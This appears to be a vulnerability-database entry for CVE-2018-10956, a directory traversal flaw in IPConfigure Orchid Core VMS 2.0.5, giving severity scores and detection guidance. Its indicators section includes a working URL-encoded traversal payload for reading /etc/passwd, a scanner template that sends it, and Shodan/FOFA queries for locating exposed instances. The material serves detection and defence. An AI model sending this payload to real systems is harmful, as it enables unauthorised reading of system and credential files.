CVE-2018-10956: IPConfigure Orchid Core VMS 2.0.5 allows Directory Traversal.

PriorityP268high7.5CVSS 3.0

AVNACLPRNUINSUCHINAN

EXPLOIT

EPSS

56.32%

98.9th percentile

IPConfigure Orchid Core VMS 2.0.5 allows Directory Traversal.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
ipconfigure	orchid_core_vms	—	—

Detection & IOCsextracted from sources · hover to see the quote

url{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd

bytes↗

%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F

sigma

id: CVE-2018-10956
info:
  name: IPConfigure Orchid Core VMS 2.0.5 - Local File Inclusion
http:
- method: GET
  path:
  - "{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd"
matchers-condition: and
matchers:
- type: regex
  regex:
  - "root:.*:0:0:"
- type: status
  status:
  - 200

→Detect unauthenticated HTTP GET requests containing URL-encoded directory traversal sequences (%2e%2e%2f or %2E%2E%2F) in the request path targeting the Orchid Core VMS web server. ↗
→Use Shodan/FOFA queries to identify exposed Orchid Core VMS instances: http.title:"Orchid Core VMS" or title="orchid core vms".
→Match HTTP 200 responses to traversal requests containing 'root:.*:0:0:' in the body, indicating successful /etc/passwd disclosure.
→The exploit is unauthenticated; no session or authentication token is required. Flag any traversal attempt reaching the Orchid VMS base path without credentials. ↗

·The vulnerability is fixed in version 2.0.6; detections should be scoped to instances still running 2.0.5. ↗
·The Metasploit module defaults to RPORT 80 and TARGETURI '/'; adjust accordingly if the target runs on a non-standard port or path. ↗

CVSS provenance

nvdv3.07.5HIGHCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

nvdv2.05.0MEDIUMAV:N/AC:L/Au:N/C:P/I:N/A:N

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